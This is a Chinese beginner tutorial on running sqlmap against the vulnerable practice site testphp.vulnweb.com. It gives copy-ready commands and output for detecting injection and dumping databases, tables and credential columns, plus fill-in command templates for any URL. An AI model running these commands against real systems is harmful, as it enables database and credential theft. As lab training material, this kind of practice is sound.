SQLMap 注入完整操作流程(新手通关手册)

一、前期准备

1. 工具环境

  • 工具:sqlmap - 中文汉化 - 1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6
  • 运行命令前缀:python3 sqlmap.py
  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

靶场类型 地址 问题 / 优势
初始尝试(DVWA) http://192.168.1.4/dvwa 缺点:PHPSESSID 会话易失效,sqlmap 被重定向到login.php,检测失败
最终成功(公开) http://testphp.vulnweb.com/artists.php?artist=1 优势:无登录态、100% 有注入漏洞、外网可访问、支持完整数据提取

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6
  • Web 服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40
  • 核心注入参数:GET 参数 artist(URL 自带?artist=1
  • 可提取数据库:2 个(acuart 业务库、information_schema 系统库)
  • 关键表:acuart库下 8 张表(users用户表、products商品表为核心)

二、完整操作流程(按顺序执行,可直接复制)

步骤 1:验证连通性 + 检测注入点

操作目的 :确认靶场可访问,检测artist参数是否可注入

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标 URL(必须带?artist=1参数)
  • --batch:自动确认所有交互选项(无需手动回车)
  • --dbs:提取所有数据库列表
  • -v 1:显示基础日志,便于排查问题

预期结果:✅ 识别 4 种注入类型:布尔盲注、报错注入、时间盲注、UNION 联合查询

✅ 提取 2 个数据库:acuart(业务库)、information_schema(系统库)

✅ 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤 2:提取acuart数据库的所有表

操作目的 :定位核心表(users/products

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定数据库(必须小写,与提取结果一致)
  • --tables:提取指定库的所有表

预期结果

plaintext

复制代码
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |  # 含真实商品数据
| users     |   # 用户表(靶场清空数据)
+-----------+

步骤 3:提取users表的账号密码(脱裤尝试)

操作目的:尝试提取用户凭证(验证流程)

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定表名
  • -C username,password:指定提取字段(英文逗号分隔)
  • --dump:导出字段数据(核心 "脱裤" 操作)

预期结果:表结构存在但数据为空(靶场防护,非操作错误)

plaintext

复制代码
Database: acuart
Table: users
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| <blank>  | <blank>  |
+----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤 4:提取products表的真实商品数据(验证流程)

操作目的:验证注入流程完整性(核心成功标志)

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

预期结果:提取到 3 条真实商品数据

plaintext

复制代码
Database: acuart
Table: products
[3 entries]
+----+---------------------------------------------------+-------+
| id | name                                              | price |
+----+---------------------------------------------------+-------+
| 1  | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359   |
| 2  | Web Camera A4Tech PK-335E                         | 10    |
| 3  | Laser Color Printer HP LaserJet M551dn, A4        | 812   |
+----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关

  • 核心 URL 不可错:http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1
  • 靶场性质:OWASP 官方公开靶场,合法合规使用
  • 数据特点:users表空(防护)、products表有真实数据(验证用)

2. 命令参数

  • 大小写敏感:-D acuartacuart必须小写,错写会提取失败
  • --batch不可省:避免手动输入打断流程
  • -v 1:基础日志(排查问题可改-v 2

3. 常见问题排查

问题现象 排查方案
无法连接目标 URL 复制 URL 到浏览器,确认能打开、网络通畅
提取数据为空(非 users 表) 检查-D/-T/-C名称是否与前一步结果一致(无空格、无错别字)
被重定向到 DVWA 登录页 重新登录 DVWA(账号admin/ 密码password),立即复制最新PHPSESSID

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点提取数据库列表提取目标库表列表提取目标表字段数据导出数据

2. 核心命令速记(公式化,不用死记完整命令)

操作 命令公式(填空即可)
检测 + 提库 python3 sqlmap.py -u "【靶场URL】" --batch --dbs -v 1
提表 python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 --tables -v 1
提数据 python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 -T 【表名】 -C 【字段】 --dump -v 1

3. 关键经验

  1. 新手优先选无登录态的公开靶场(如testphp.vulnweb.com),避开本地靶场配置坑
  2. 每步执行前,确认上一步结果(如先提库,再用库名提表)
  3. 数据为空≠操作失败,可能是靶场防护(换表验证即可)

补充(明天预习用)

✅ 重点练:SQLi Labs 第 21 关(Cookie 注入 + MD5 密文破解),流程会衔接今晚的内容,只新增 "密文解密" 步骤,不用额外记新命令~

✅ 复盘技巧:先按 "公式" 填参数,再复制执行,重点记 "流程逻辑" 而非 "完整命令",练 2 遍就能记住。

相关推荐
星火开发设计2 小时前
深度优先搜索(DFS)详解及C++实现
c++·学习·算法·计算机·深度优先·大学生·期末考试
week_泽2 小时前
OpenCV图像拼接原理与实践笔记
人工智能·笔记·opencv
victory04312 小时前
SFT RLHF PPO DPO GRPO学习规划
学习
郝学胜-神的一滴2 小时前
Linux线程错误调试指南:从原理到实践
linux·服务器·开发语言·c++·程序人生
万俟淋曦2 小时前
【论文速递】2025年第43周(Oct-19-25)(Robotics/Embodied AI/LLM)
人工智能·深度学习·机器学习·机器人·论文·具身智能·robotic
小徐不会敲代码~2 小时前
Vue3 学习 5
前端·学习·vue
iconball2 小时前
个人用云计算学习笔记 --32 Docker和docker swarm
运维·笔记·学习·docker·容器·云计算
秋深枫叶红2 小时前
嵌入式第四十篇——网络编程
linux·网络·学习
其美杰布-富贵-李2 小时前
迁移学习与对抗迁移学习
人工智能·机器学习·迁移学习